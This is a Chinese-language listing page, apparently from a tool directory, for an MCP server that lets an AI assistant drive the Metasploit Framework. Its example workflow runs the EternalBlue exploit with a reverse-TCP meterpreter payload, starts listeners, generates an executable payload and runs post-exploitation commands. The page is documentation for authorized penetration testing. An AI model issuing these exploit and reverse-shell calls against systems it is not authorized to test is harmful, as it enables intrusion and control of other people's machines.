Metasploit桥
为大型语言模型和Metasploit框架之间提供了一个桥梁,使人工智能助手能够通过自然语言访问和控制渗透测试功能。
MCP 服务配置
复制以下 JSON 到 OPClaw 或其他 MCP 客户端的配置文件中即可使用
{
"mcpServers": {
"metasploit": {
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"command": "uv",
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
该服务需要配置环境变量:MSF_PASSWORD、MSF_PORT、MSF_SERVER、MSF_SSL、PAYLOAD_SAVE_DIR
服务介绍
Metasploit MCP 服务器
用于 Metasploit Framework 集成的 Model Context Protocol (MCP) 服务器。
描述
此 MCP 服务器为像 Claude 这样的大型语言模型与 Metasploit Framework 渗透测试平台之间提供了一个桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能,从而实现对复杂安全测试工作流程的自然语言接口。
特性
模块信息
- list_exploits: 搜索并列出可用的 Metasploit 漏洞利用模块
- list_payloads: 搜索并列出可用的 Metasploit 负载模块,可选平台和架构过滤
漏洞利用工作流
- run_exploit: 配置并针对目标执行漏洞利用,可选择先运行检查
- run_auxiliary_module: 使用自定义选项运行任何 Metasploit 辅助模块
- run_post_module: 对现有会话执行后渗透模块
负载生成
- generate_payload: 使用 Metasploit RPC 生成负载文件(本地保存)
会话管理
- list_active_sessions: 显示当前 Metasploit 会话的详细信息
- send_session_command: 在活动 shell 或 Meterpreter 会话中运行命令
- terminate_session: 强制结束一个活动会话
处理程序管理
- list_listeners: 显示所有活动处理程序和后台任务
- start_listener: 创建一个新的 multi/handler 以接收连接
- stop_job: 终止任何正在运行的任务或处理程序
前提条件
- 已安装 Metasploit Framework 并运行 msfrpcd
- Python 3.10 或更高版本
- 所需的 Python 包(见 requirements.txt)
安装
- 克隆此仓库
- 安装依赖项:
pip install -r requirements.txt - 配置环境变量(可选):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # 可选:生成负载的保存路径
使用
启动 Metasploit RPC 服务:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
对于 Claude Desktop 集成,配置 claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
安全考虑
⚠️ 重要安全警告:
此工具提供了直接访问 Metasploit Framework 功能的能力,其中包括强大的漏洞利用功能。请负责任地使用,并且仅在您明确获得许可进行安全测试的环境中使用。
- 在执行前始终验证和审查所有命令
- 仅在隔离的测试环境中或在适当授权的情况下运行
- 注意后渗透命令可能导致系统发生重大修改
示例工作流
基本漏洞利用
- 列出可用的漏洞利用:
list_exploits("ms17_010") - 选择并运行一个漏洞利用:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444}) - 列出会话:
list_active_sessions() - 运行命令:
send_session_command(1, "whoami")
后渗透
- 运行一个后渗透模块:
run_post_module("windows/gather/enum_logged_on_users", 1) - 发送自定义命令:
send_session_command(1, "sysinfo") - 完成后终止会话:
terminate_session(1)
处理程序管理
- 启动监听器:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444) - 列出活动的监听器:
list_listeners() - 生成载荷:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444}) - 停止监听器:
stop_job(1)
配置选项
载荷保存目录
默认情况下,使用 generate_payload 生成的载荷将保存到您主文件夹中的 payloads 目录(~/payloads 或 C:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。
设置环境变量:
-
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads" -
Windows (命令提示符):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads -
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads -
在 Claude 桌面配置中:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // 只有当您希望覆盖默认值时才添加 }
注意: 如果指定了自定义路径,请确保该路径存在或应用程序有权创建它。如果路径无效,可能会导致载荷生成失败。
许可证
Apache 2.0